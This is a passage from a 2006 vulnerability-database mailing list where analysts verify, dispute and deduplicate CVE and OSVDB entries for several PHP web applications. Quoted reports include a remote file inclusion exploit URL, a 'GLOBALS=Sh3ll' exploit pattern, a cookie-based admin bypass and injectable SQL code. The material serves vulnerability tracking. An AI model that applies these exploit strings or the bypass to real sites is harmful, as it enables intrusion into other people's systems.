the issue identified in the Bugtraq post.

This means we had a duplicate CVE (as you pointed out to me off-list).
The original was based on the vendor changelog, and the newer one was from
the researcher post.  Looks like some others got caught by this, too.

- Steve


======================================================
Name: CVE-2006-4785
Status: Candidate
URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4785
Acknowledged: yes changelog
Announced: 20060912
Flaw: sql-inject
Reference: BUGTRAQ:20060917 Sql injection in Moodle
Reference: URL:http://www.securityfocus.com/archive/1/archive/1/446227/100/0/threaded
Reference: CONFIRM:http://docs.moodle.org/en/Release_notes#Moodle_1.6.2
Reference: MLIST:[VIM] 20060919 Moodle issue - invalid vendor ack? and extra vulns
Reference: URL:http://www.attrition.org/pipermail/vim/2006-September/001038.html
Reference: MLIST:[VIM] 20060619 Re: Moodle issue - invalid vendor ack? and extra vulns
Reference: URL:http://www.attrition.org/pipermail/vim/2006-September/001040.html
Reference: BID:19995
Reference: URL:http://www.securityfocus.com/bid/19995
Reference: BID:20085
Reference: URL:http://www.securityfocus.com/bid/20085
Reference: FRSIRT:ADV-2006-3591
Reference: URL:http://www.frsirt.com/english/advisories/2006/3591
Reference: SECTRACK:1016877
Reference: URL:http://securitytracker.com/id?1016877
Reference: SECUNIA:21899
Reference: URL:http://secunia.com/advisories/21899
Reference: XF:moodle-unspecified-sql-injection(28904)
Reference: URL:http://xforce.iss.net/xforce/xfdb/28904
Reference: XF:moodle-edit-sql-injection(29001)
Reference: URL:http://xforce.iss.net/xforce/xfdb/29001

SQL injection vulnerability in blog/edit.php in Moodle 1.6.1 and
earlier allows remote attackers to execute arbitrary SQL commands via
the format parameter as stored in the $blogEntry variable, which is
not properly handled by the insert_record function, which calls
_adodb_column_sql in the adodb layer (lib/adodb/adodb-lib.inc.php),
which does not convert the data type to an int.


Analysis:
ACKNOWLEDGEMENT: The original discloser says "Version 1.6.2 has been
released (moodle.org)", but the changelog for 1.6.2 does not have any
specific information for this specific vuln, although it mentions many
other vulns.  The changelog does say "Undisclosed SQL injections fixed
by automatic data conversions in adodb layer."  However, CVE source
code analysis (Power) and reliable third party VIM followup analysis
show conclusively that the ACK is for this issue.


======================================================
Name: CVE-2006-4896
Status: Candidate
URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4896
Acknowledged:
Announced:
Flaw:

** REJECT **

DO NOT USE THIS CANDIDATE NUMBER.  ConsultIDs: CVE-2006-4785.  Reason:
This candidate is a duplicate of CVE-2006-4785.  Notes: All CVE users
should reference CVE-2006-4785 instead of this candidate.  All
references and descriptions in this candidate have been removed to
prevent accidental usage.



From jericho at attrition.org  Sat Sep 23 12:08:51 2006
From: jericho at attrition.org (security curmudgeon)
Date: Sat, 23 Sep 2006 12:08:51 -0400 (EDT)
Subject: [VIM] XCS?
Message-ID: <Pine.LNX.4.64.0609231207400.17935@forced.attrition.org>


If "cross site scripting" is XSS, what is "cross context scripting" .. 
XCS? Reference the recent 'backdooring mp3' advisory for why this came up 
again. Cross context scripting has been brought up before, but is it 
prevalent enough to distinguish in such a way?

http://www.gnucitizen.org/blog/backdooring-mp3-files/

From jericho at attrition.org  Sun Sep 24 14:19:04 2006
From: jericho at attrition.org (security curmudgeon)
Date: Sun, 24 Sep 2006 14:19:04 -0400 (EDT)
Subject: [VIM] Lan-Aces Office Logic
In-Reply-To: <20060725191135.17683.qmail@securityfocus.com>
References: <20060725191135.17683.qmail@securityfocus.com>
Message-ID: <Pine.LNX.4.64.0609241418060.15596@forced.attrition.org>


Hi Mike,

On Tue, 25 Jul 2006, Mike at chtechnology.com wrote:

: Does anyone use this email client? I have to say It would be in your 
: best intrest to turn off html messages until I speak with tech support 
: at Lan-Aces. If they do not respond within 24 hours I will post a huge 
: security bypass exploit that works for all html & scripting blocking 
: mechanisim. With this said....

Did you ever reach Lan-Aces regarding this issue? If so, did you post your 
vulnerability information anywhere?

Brian
OSVDB.org

http://archives.neohapsis.com/archives/bugtraq/2006-07/0519.html

From jericho at attrition.org  Sun Sep 24 15:52:58 2006
From: jericho at attrition.org (security curmudgeon)
Date: Sun, 24 Sep 2006 15:52:58 -0400 (EDT)
Subject: [VIM] Coppermine Photo Gallery v1.2.2b-Nuke Remote File
 Inclusion Vulnerabilities
In-Reply-To: <20060728214924.30868.qmail@securityfocus.com>
References: <20060728214924.30868.qmail@securityfocus.com>
Message-ID: <Pine.LNX.4.64.0609241549340.21705@forced.attrition.org>


Reference:
http://archives.neohapsis.com/archives/bugtraq/2006-07/0528.html

On Fri, 28 Jul 2006, A-S-T2006 at hotmail.com wrote:

:  ----------------------------------------------------
:  Coppermine Photo Gallery v1.2.2b-Nuke Remote File Inclusion Vulnerabilities   

:  Vulnerable: Coppermine Photo Gallery v1.2.2b-Nuke                      

:  Exploit:
:  www.example.com/modules/coppermine/themes/default/theme.php?THEME_DIR=http://evalcode.txt
:  ----------------------------------------------------------------------------------------------------
:  Discovered By A-S-T TEAM

This was disclosed on 2004-04-29 by Waraxe:

http://www.waraxe.us/index.php?modname=sa&id=26
http://archives.neohapsis.com/archives/bugtraq/2004-05/0009.html
CVE-2004-1989
BID:10253
OSVDB:5912
SECTRACK:1010001
SECUNIA:11524
XF:coppermine-multiple-file-include(16041)


From coley at linus.mitre.org  Mon Sep 25 19:56:25 2006
From: coley at linus.mitre.org (Steven M. Christey)
Date: Mon, 25 Sep 2006 19:56:25 -0400 (EDT)
Subject: [VIM] Vendor dispute - CVE-2006-4759 (punBB)
Message-ID: <Pine.GSO.4.51.0609251954410.28897@faron.mitre.org>


This looks like a 3APA3A production, so I'm not sure what happened.  I'll
email him in a second.

---------- Forwarded message ----------
Date: Tue, 26 Sep 2006 01:44:46 +0200
From: Rickard Andersson
To: nvd at nist.gov
Cc: cve at mitre.org
Subject: Vendor Official Statement

This is an official vendor statement from Rickard Andersson, lead
developer of PunBB, regarding CVE-2006-4759.

"Not vulnerable. PunBB doesn't contain a directory called admin or a
script called admin_board.php. The author of the original report
probably thought PunBB was a fork of phpBB (which it is not)."

Best regards,
Rickard Andersson
PunBB Lead Developer

From coley at mitre.org  Mon Sep 25 20:22:12 2006
From: coley at mitre.org (Steven M. Christey)
Date: Mon, 25 Sep 2006 20:22:12 -0400 (EDT)
Subject: [VIM] PunBB - more
Message-ID: <200609260022.k8Q0MCSC010087@faron.mitre.org>


ugh.  We mucked this up at CVE.  We didn't notice that the original
exploit was only for phpBB (rather, I think I didn't notice it...)

See the followup analysis in the CVE desc.  I've since sent an email
to 3APA3A asking for specific vectors for punBB.  The ShAnKaR name
rings a bell, but I don't know about his/her reliability.

- Steve


======================================================
Name: CVE-2006-4759
Status: Candidate
URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4759
Reference: BUGTRAQ:20060911 ShAnKaR: multiple PHP application poison NULL byte vulnerability
Reference: URL:http://www.securityfocus.com/archive/1/archive/1/445788/100/0/threaded
Reference: BUGTRAQ:20060919 Re: ShAnKaR: multiple PHP application poison NULL byte vulnerability
Reference: URL:http://www.securityfocus.com/archive/1/archive/1/446420/100/0/threaded
Reference: MISC:http://www.security.nnov.ru/Odocument221.html
Reference: MLIST:[VIM] 20060919 Dispute - CVE-2006-4759 - PunBB
Reference: URL:http://www.attrition.org/pipermail/vim/2006-September/001041.html
Reference: XF:phpbb-nullbyte-file-upload(28884)
Reference: URL:http://xforce.iss.net/xforce/xfdb/28884

** DISPUTED **

PunBB 1.2.12 does not properly handle pathnames ending in %00, which
allows remote authenticated administrative users to execute arbitrary
code by modifying the name of a previously-uploaded avatar image file
to contain a .php extension.  NOTE: on 20060925, the vendor disputed
the issue to CVE, saying "PunBB doesn't contain a directory called
admin or a script called admin_board.php. The author of the original
report probably thought PunBB was a fork of phpBB (which it is not)."
The original disclosure is from a reliable known party, although the
original researcher is not as well known.  The original disclosure
included an exploit for phpBB but not punBB, so the specific exploit
vectors for punBB are not known.  As of 20060925, CVE is not aware of
any followup by the researcher/discloser and has no position regarding
the dispute.



From heinbockel at mitre.org  Tue Sep 26 13:14:02 2006
From: heinbockel at mitre.org (Heinbockel, Bill)
Date: Tue, 26 Sep 2006 13:14:02 -0400
Subject: [VIM] Kietu 3.2 - Local file inclusion
Message-ID: <224FBC6B814DBD4E9B9E293BE33A10DC0130B9B9@IMCSRV5.MITRE.ORG>

As posted on BUGTRAQ on 20060923 "Local File Inclusion : Kietu"
http://www.securityfocus.com/archive/1/archive/1/446930/100/0/threaded
BID:20175
XF:kietu-urlhit-file-include(29121)


The researcher states that there is a local file inclusion
vulnerability
(directory traversal) with the url_hit parameter in hit.php. The issue
is supposedly on line 2 of hit.php, which should read:
>>   include_once $url_hit.'class/kdetect.class.php';

No version information was provided.
I downloaded the latest release, 3.2, from the vendor's website and
did not discover the previous line in use. However, in 3.2, the
url_hit parameter in hit.php is still vulnerable.

line 40:
>> if (isset($url_hit)&$url_hit!='') {$kietu['url_hit']=$url_hit;} else
{$kietu['url_hit']=$_GET['url_hit'];}
...

lines 59-66:
>> if (file_exists($kietu['url_hit'].'config.php'))
>> {
>>   require ($kietu['url_hit'].'config.php');
>> }
>> if (file_exists($kietu['url_hit'].'define/moteur.php'))
>> {
>>   require ($kietu['url_hit'].'define/moteur.php');
>> }

Since the require calls are enclosed in file_exists conditionals, files
can only be included locally (via traversal or absolute paths) or 
remotely (via FTP, FTPS URIs).



William Heinbockel
Infosec Engineer
The MITRE Corporation
202 Burlington Rd. MS S145
Bedford, MA 01730
heinbockel at mitre.org
781-271-2615

From heinbockel at mitre.org  Tue Sep 26 17:15:07 2006
From: heinbockel at mitre.org (Heinbockel, Bill)
Date: Tue, 26 Sep 2006 17:15:07 -0400
Subject: [VIM] PHPSaTK remote file inclusion - CVE dispute
Message-ID: <224FBC6B814DBD4E9B9E293BE33A10DC0130BA94@IMCSRV5.MITRE.ORG>

Researcher: Root3r_H3ll

BUGTRAQ:20060924 phpstak <= Remote File Include Vulnerability
http://www.securityfocus.com/archive/1/archive/1/446882/100/0/threaded
XF:phpsatk-loader-file-include(29133)

The researcher states that the following code in loader.php in
PHPSaTk is vulnerable to PHP remote file inclusion:
>>  require $GLOBALS 'config'
With the exploit: [url]/[path]/loader.php?GLOBALS=Sh3ll
[Ignoring the fact that you can't overwrite the GLOBALS array,
only the indices/values within...]

Looking at the PHPSaTk Sourceforge site:
http://phpsatk.sourceforge.net/
http://sourceforge.net/projects/phpsatk/

In sat-beta1 - phpsatk-beta1.zip: the only require statement
in loader.php is on line 67:
>>  require $GLOBALS['config']->appdir . $GLOBALS['appname'] .
'/application.php';
However, on line 25:
>>  $GLOBALS['config'] = new Config('configs/global.conf','ini');


So, in order to exploit this, the attacker would need to modify the
configs/global.conf file. The $GLOBALS['appname'] may be vulnerable
to directory traversal attacks, however any attack vectors are not
immediately obvious upon source code inspection.


William Heinbockel
Infosec Engineer
The MITRE Corporation
202 Burlington Rd. MS S145
Bedford, MA 01730
heinbockel at mitre.org
781-271-2615

From coley at linus.mitre.org  Tue Sep 26 17:18:57 2006
From: coley at linus.mitre.org (Steven M. Christey)
Date: Tue, 26 Sep 2006 17:18:57 -0400 (EDT)
Subject: [VIM] PunBB - more
In-Reply-To: <200609260022.k8Q0MCSC010087@faron.mitre.org>
References: <200609260022.k8Q0MCSC010087@faron.mitre.org>
Message-ID: <Pine.GSO.4.51.0609261717150.13718@faron.mitre.org>


I contacted 3APA3A, who contacted the original researcher, and an exploit
is now in the developer's hands.  I did some cursory analysis and 3APA3A
did some more extensive followup that suggests there is a real issue, but
I'll wait to post details until we hear back from the developer.

- Steve

From jericho at attrition.org  Tue Sep 26 17:52:18 2006
From: jericho at attrition.org (security curmudgeon)
Date: Tue, 26 Sep 2006 17:52:18 -0400 (EDT)
Subject: [VIM] vendor dispute:  21878: Polopoly Search Module XSS  (fwd)
Message-ID: <Pine.LNX.4.64.0609261751590.21705@forced.attrition.org>



---------- Forwarded message ----------
From: "[iso-8859-1] J?rgen Rydenius"
To: moderators at osvdb.org
Date: Tue, 26 Sep 2006 23:25:46 +0200
Subject: [OSVDB Mods] [Change Request] 21878: Polopoly Search Module XSS

Hi. OSVDB ID 21878 is concerned with "Polopoly Search Module XSS". It is
said to be found in version 9 of the Polopoly product. I have some more
information about this issue:

1. The XSS flaw was only part of the custom implementation of the
http://www.polopoly.com/ site. It was never part of any version of any
Polopoly product, nor delivered to any of Polopoly's customers.
2. The XSS flaw that existed (the search form in the upper right corner) on
the www.polopoly.com site has been fixed.
3. When www.polopoly.com had the XSS flaw it was based on Polopoly 8.6.
Polopoly 9.x was never involved what so ever in this issue. And as I said
earlier, the flaw was not part of Polopoly 8.6 either, it was only in custom
implementation code of the www.polopoly.com site.
4. The www.polopoly.com site is not personalized or permission controlled,
so there was no information of any value to steal by exploiting the XSS
flaw.

    Regards, J?rgen Rydenius

From heinbockel at mitre.org  Wed Sep 27 11:23:43 2006
From: heinbockel at mitre.org (Heinbockel, Bill)
Date: Wed, 27 Sep 2006 11:23:43 -0400
Subject: [VIM] MyPhotos includesdir file inclusion - CVE dispute
Message-ID: <224FBC6B814DBD4E9B9E293BE33A10DC0130BBB5@IMCSRV5.MITRE.ORG>

Researcher - Root3r_H3ll (again)

BUGTRAQ:20060923 MyPhotos<= Remote File Include Vulnerability
http://www.securityfocus.com/archive/1/archive/1/446876/100/0/threaded

In MyPhotos 0.1.3b beta, index.php on line 28:
>>    include ("$includesdir/indextext.inc.php");
However on line 4:
>>    include ('globvars.inc.php');

If installed (per instructions) with the install.php script,
when configuring the "options" on lines 231-245:
>>    if(!$fp = fopen("./globvars.inc.php", "a"))
...
>>     $config_data = '$mydb = "'.$dbserver.'";'."\n".
>>     '$mydatabase = "'.$dbname.'";'."\n".
>>     '$myusername = "'.$dbuser.'";'."\n".
>>     '$mypassword = "'.$dbpass.'";'."\n\n".
>>     '$sitename = "'.$name.'";'."\n".
>>     '$langfile = "'.$language.'";'."\n".
>>     '$maindir = "'.$dir.'";'."\n".
>>     '$langdir = "'.lang.'";'."\n".
>>     '$includesdir = "'.user_includes.'";'."\n".
>>     '?>'."\n";
>>   fputs($fp, $config_data);
>>   fclose($fp);
prior to running this, the installation instructions state
to chmod globvars.inc.php to 666 and user_includes to 777.

Additionally, the "user_includes" value is not defined elsewhere
before being reference, but PHP assumes that you wanted the string
and the result is the string 
>>  $includesdir = "user_includes"; \
in the globvars.inc.php file.

NOTE: as the installation requires a database connection, I did not
verify that the entire installation was successful.


William Heinbockel
Infosec Engineer
The MITRE Corporation
202 Burlington Rd. MS S145
Bedford, MA 01730
heinbockel at mitre.org
781-271-2615

From jericho at attrition.org  Wed Sep 27 17:28:56 2006
From: jericho at attrition.org (security curmudgeon)
Date: Wed, 27 Sep 2006 17:28:56 -0400 (EDT)
Subject: [VIM] [Change Request] 24264: ConfTool index.php page Variable XSS
	(fwd)
Message-ID: <Pine.LNX.4.64.0609271728300.15024@forced.attrition.org>


1.3.1 is the current version based on the demo linked off the vendor page.

---------- Forwarded message ----------
From: Harald Weinreich
To: moderators at osvdb.org
Date: Thu, 21 Sep 2006 20:34:04 +0200
Reply-To: moderators at osvdb.org
Subject: [OSVDB Mods] [Change Request] 24264: ConfTool index.php page Variable
     XSS

Hi,

   I removed that problem about half a year ago. Current versions check
   the page value as well as all outputs are html escaped.

Gru?
Harald Weinreich

-- 
Dipl.-Inform.
Harald Weinreich
Am Papenbrack 1
D-21109 Hamburg
Tel. +49 (0)40 7509079
Fax. +49 (0)40 75062679

mailto:
http://weinreichs.de/

PGP-Key              95FEC271
________________________________________________

From amanion at cert.org  Wed Sep 27 19:09:17 2006
From: amanion at cert.org (Art Manion)
Date: Wed, 27 Sep 2006 19:09:17 -0400
Subject: [VIM] WebViewFolderIcon control update 27110 VU#753044
Message-ID: <31FFD5A4D3127199A0C44CB5@shag.local>

Hello VIM list,

It looks like this report from the Month of Browser Bugs has been 
demonstrated to be exploitable to execute arbitrary code:

  <http://www.kb.cert.org/vuls/id/753044>

  <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3730>

  <http://www.osvdb.org/displayvuln.php?osvdb_id=27110>


 - Art

-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 186 bytes
Desc: not available
Url : http://www.attrition.org/pipermail/vim/attachments/20060927/2b5b150d/attachment.bin 

From coley at linus.mitre.org  Wed Sep 27 19:16:31 2006
From: coley at linus.mitre.org (Steven M. Christey)
Date: Wed, 27 Sep 2006 19:16:31 -0400 (EDT)
Subject: [VIM] XCS?
In-Reply-To: <Pine.LNX.4.64.0609231207400.17935@forced.attrition.org>
References: <Pine.LNX.4.64.0609231207400.17935@forced.attrition.org>
Message-ID: <Pine.GSO.4.51.0609271908470.333@faron.mitre.org>


I haven't looked too deeply into this, but XSS is probably the tip of the
iceberg.  Any language that mixes code and data is going to be subject to
these kinds of problems.

However, in this particular term, they seem to be talking about script
that's downloaded in one execution context, but launched in another.
Replace "context" with "zone" or "domain" and the concept's probably the
same.  So, you download a movie that has embedded code.  You then launch
it from your local system, and the code runs in the local context.

There's an article here:

  http://www.gnucitizen.org/blog/cross-context-scripting

Hmmm, this looks like a pretty interesting site in general.

- Steve

From coley at linus.mitre.org  Thu Sep 28 14:37:29 2006
From: coley at linus.mitre.org (Steven M. Christey)
Date: Thu, 28 Sep 2006 14:37:29 -0400 (EDT)
Subject: [VIM] Responsible Disclosure Article
In-Reply-To: <Pine.LNX.4.64.0609160846410.7233@forced.attrition.org>
References: <224FBC6B814DBD4E9B9E293BE33A10DC01288B83@IMCSRV5.MITRE.ORG>
	<Pine.LNX.4.64.0609160846410.7233@forced.attrition.org>
Message-ID: <Pine.GSO.4.51.0609281435110.19768@faron.mitre.org>


On Sat, 16 Sep 2006, security curmudgeon wrote:

> I noticed a year or two ago that some of the big vendors (I think it was
> 'Real' originally) were reporting multiple researchers discovered an issue
> in the advisory. This made me wonder how often that occured, where
> multiple creditees were recognized for a big issue.

Like you, I don't have stats, but this does seem to happen more
frequently.  Probably a combination of an increase in the number of
researchers as well as improvements in tools and techniques?

> If two researchers (or more) can find the same bug, and both can sit on
> it for months at a time.. then we would be stupid to believe it stopped
> there.

Agreed.  And all the recent zero-days show that people ARE looking and
finding things that the public research community hasn't.

- Steve

From sullo at cirt.net  Fri Sep 29 07:55:39 2006
From: sullo at cirt.net (Sullo)
Date: Fri, 29 Sep 2006 07:55:39 -0400
Subject: [VIM] [fwd] [Full-disclosure] SmartSiteCMS v1.0 authentication
 bypass -- Source Verification/Correction + more vulns
Message-ID: <451D09BB.1020909@cirt.net>

Confirmed... sorta. i don't see an admin.php in v1, but these files in
admin/ have the same issue--just checks for the existence of the login
cookie.
 admin/artadmin.php
 admin/artedit.php
 admin/siteadmin.php
 admin/catadmin.php
 admin/catedit.php

This one has no auth code at all and allows download of a db backup:
 admin/backup.php

Also, any place SQL is used looks like it's prone to sql injection. This
particular one also has XSS (not a result of SQL errors)... (not sure
the real risk from sql injection in against() as I haven't seen that
before, but this is just an example of a few I saw):
 search.php
     $searchString = $_POST['searchString'];
     [snip]
    <input type="text" class="adminInput" style="width: 250px"
name="searchString" value="<? echo $searchString ?>">
     [snip]
     $result = mysql_query("select itemName, match(itemName, itemBody,
itemDesc) against('$searchString') as relevance from item where
match(itemName, itemBody, itemDesc) against('$searchString')",$db);

Here is the CVS archive... almost every file has SQL injection or XSS
type issues... maybe someone already at work can look at the rest!
    http://smartsite.cvs.sourceforge.net/smartsite/cms/


-Sullo

-- 

http://www.cirt.net/      |     http://www.osvdb.org/






*From:* Paulino Calderon (/nahsuckea.com/)
*Date:* Wed Aug 09 2006 - 00:10:11 CDT

    * *Messages sorted by:* [ date ]
      <http://archives.neohapsis.com/archives/fulldisclosure/2006-08/index.html#229>
      [ thread ]
      <http://archives.neohapsis.com/archives/fulldisclosure/2006-08/thread.html#229>
      [ subject ]
      <http://archives.neohapsis.com/archives/fulldisclosure/2006-08/subject.html#229>
      [ author ]
      <http://archives.neohapsis.com/archives/fulldisclosure/2006-08/author.html#229>


------------------------------------------------------------------------

SmartSiteCMS v1.0 authentication bypass

STATUS: I contacted the vendor more than 2 months ago and still no
response.

TECHNICAL INFO
================================================================
One of the worst cms I've ever seen regarding security, no input sanitation
at all. Bypassing authentication just requires to create a cookie named
"userName"

Vulnerable code:
admin.php line 43
--------------------------------
<?php
if (isset($_COOKIE['userName']))
{
--------------------------------

VULNERABLE VERSIONS
---------------------------------------------------------------
Ive only tested v1.0

---------------------------------------------------------------
Contact information
:Paulino Calderon
:nahsuckea.com
:http://nah.suckea.com/

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


From heinbockel at mitre.org  Fri Sep 29 13:41:26 2006
From: heinbockel at mitre.org (Heinbockel, Bill)
Date: Fri, 29 Sep 2006 13:41:26 -0400
Subject: [VIM] [fwd] [Full-disclosure] SmartSiteCMS v1.0 authentication
	bypass -- Source Verification/Correction + more vulns
In-Reply-To: <451D09BB.1020909@cirt.net>
Message-ID: <224FBC6B814DBD4E9B9E293BE33A10DC0136AD5A@IMCSRV5.MITRE.ORG>


>Also, any place SQL is used looks like it's prone to sql 
>injection. This
>particular one also has XSS (not a result of SQL errors)... (not sure
>the real risk from sql injection in against() as I haven't seen that
>before, but this is just an example of a few I saw):
> search.php
>     $searchString = $_POST['searchString'];
>     [snip]
>    <input type="text" class="adminInput" style="width: 250px"
>name="searchString" value="<? echo $searchString ?>">
>     [snip]
>     $result = mysql_query("select itemName, match(itemName, itemBody,
>itemDesc) against('$searchString') as relevance from item where
>match(itemName, itemBody, itemDesc) against('$searchString')",$db);
>

Just a brief comment on the MySQL "MATCH ... AGAINST" syntax.
This is used for text search against a MyISAM table with FULLTEXT
index.
So, in the above query, the user is searching the itemName and
itemBody columns for the strings specified by $searchString.

In this case, SQL injection is possible since the attacker can escape
out of the AGAINST clause. Overall, AGAINST is similar to the GROUP BY
and ORDER BY SQL clauses, if an attacker can't escape out of them, they
are limited to only binary guesses. E.g., if this IF statement holds,
the data is sorted ASC, otherwise DESC.


William Heinbockel
Infosec Engineer
The MITRE Corporation
202 Burlington Rd. MS S145
Bedford, MA 01730
heinbockel at mitre.org
781-271-2615